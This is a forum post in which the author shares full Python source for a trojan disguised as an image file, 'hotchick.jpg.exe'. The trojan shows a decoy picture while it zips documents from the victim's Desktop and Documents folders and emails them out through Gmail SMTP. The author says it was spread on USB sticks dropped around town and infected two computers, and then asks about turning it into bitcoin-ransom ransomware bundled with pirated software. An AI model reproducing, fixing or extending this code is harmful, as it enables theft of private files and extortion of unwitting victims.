I want a paywall that takes bitcoin. Let me explain.
found an old program, a little work, maybe $$$?
This is an old program I wrote in python. It opens an image of a cute girl. But, It also zipped your mydocuments and desktop files. And e-mailed them to me.
I compiled with py2exe, I think that is. I set to no console, I set all the library files to hidden. I also compile the program to set the icon of the cute girl. I renamed file to hotchick.jpg.exe (windows ignores the extension by default). I had to change the gmail security settings. I don't know if this will even work anymore. But I installed on 10 usb sticks and dropped them around town.
I got e-mails from 2 out of the 10 computers.
Anyways. I was thinking instead of zipping the files. How about encrypt all the files? And tell users to decrypt they can go to a paywall to get the password, remember payivy? I think they are gone.
Would this be legal? Maybe not ethical, But maybe ethical if I bind with a program on pirate's bay?
Code:
#just playing around with python
import os
import glob
import platform
import zipfile
import sys
import time
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import Encoders
userhome = os.path.expanduser('~')
desktop = userhome + '/Desktop/'
useros = platform.system()
distribution = platform.linux_distribution()
allfileszipped = zipfile.ZipFile('thestuff.zip','w')
#creds
username = 'yourgmailusername'
password = 'yourgmailpassword'
def savefilesoff(folder):
for foldername,subfolders,filenames in os.walk(folder):
for filename in filenames:
if filename.endswith((".txt",".xls",".doc")):
savefilename = os.path.join(foldername, filename)
thefilesize = os.path.getsize(savefilename)
if thefilesize < 500000:
allfileszipped.write(savefilename)
def continueevil():
savedwd = os.getcwd()
os.chdir(desktop)
savefilesoff(desktop)
userhome = os.path.expanduser('~')
documents = userhome + '/Documents/'
os.chdir(documents)
documentfiles = glob.glob('*.txt')
savefilesoff(documents)
os.chdir(savedwd)
allfileszipped.close()
sendfiles()
def doevil():
continueevil()
def sendfiles():
#send file
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEBase import MIMEBase
from email import encoders
from_addr = "[email protected]"
to_addr = "[email protected]"
msg = MIMEMultipart()
msg['From'] = from_addr
msg['To'] = to_addr
msg['Subject'] = "from usb"
body = "here is the file from usb "
msg.attach(MIMEText(body, 'plain'))
filename = "thestuff.zip"
savedwd = os.getcwd()
attachment = open(savedwd+"/"+filename, "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
try:
gserver = smtplib.SMTP("smtp.gmail.com",587)
gserver.starttls()
gserver.login(username,password)
text = msg.as_string()
gserver.sendmail(from_addr, to_addr, text)
gserver.quit()
except:
print "error on connect"
os.startfile("hotchick.jpg")
savedwd = os.getcwd()
doevil()
os.remove("thestuff.zip")